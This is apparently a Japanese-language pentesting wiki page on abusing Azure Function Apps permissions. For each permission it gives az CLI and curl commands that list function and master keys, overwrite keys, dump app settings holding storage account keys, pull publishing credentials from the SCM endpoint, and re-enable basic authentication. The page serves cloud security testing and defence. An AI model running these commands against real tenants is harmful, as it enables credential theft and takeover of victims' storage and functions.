Function Apps
以下のページで詳細情報を確認してください:
Az - Function AppsMicrosoft.Web/sites/host/listkeys/action
この権限は、指定された関数の関数キー、マスターキー、およびシステムキーをリストすることを許可しますが、ホストキーは含まれません。
az functionapp keys list --resource-group <res_group> --name <func-name>
Microsoft.Web/sites/functions/listKeys/action
この権限は、指定された関数のホストキーを取得することを許可します:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Microsoft.Web/sites/host/functionKeys/write
この権限は、指定された関数に対して関数キーを作成/更新することを許可します:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
この権限は、指定された関数にマスターキーを作成/更新することを許可します:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/systemKeys/write
この権限は、指定された関数に対してシステム関数キーを作成/更新することを許可します:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/config/list/action
この権限は、関数の環境変数を取得することを許可します。これらの変数の中には、実際に**AzureWebJobsStorage
やWEBSITE_CONTENTAZUREFILECONNECTIONSTRING
というデフォルトの環境変数を見つけることができ、これにはFULL権限で関数のBlobストレージにアクセスするためのアカウントキーが含まれています**。
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
この権限は、基本的に基本認証資格情報を含むすべての公開プロファイルをリストすることを許可します:
# Gte creds
az functionapp deployment list-publishing-profiles \
--name basicauthenabled \
--resource-group Resource_Group_1 \
--output json
次に、これらの基本認証資格情報を使用して、関数アプリのSCM URLにアクセスし、env変数の値を取得できます:
# Get env variables values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
Note that the SCM username is usually the char "$" followed by the name of the app, so: $<app-name>
.
これらの環境変数には、関数アプリのデータを保存しているストレージアカウントのAccountKeyが含まれており、そのストレージアカウントを制御することができます。
もしこれらの資格情報がREDACTEDと表示されている場合、それはSCM基本認証オプションを有効にする必要があるためで、そのためには2番目の権限(Microsoft.Web/sites/basicPublishingCredentialsPolicies/write
)が必要です。
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'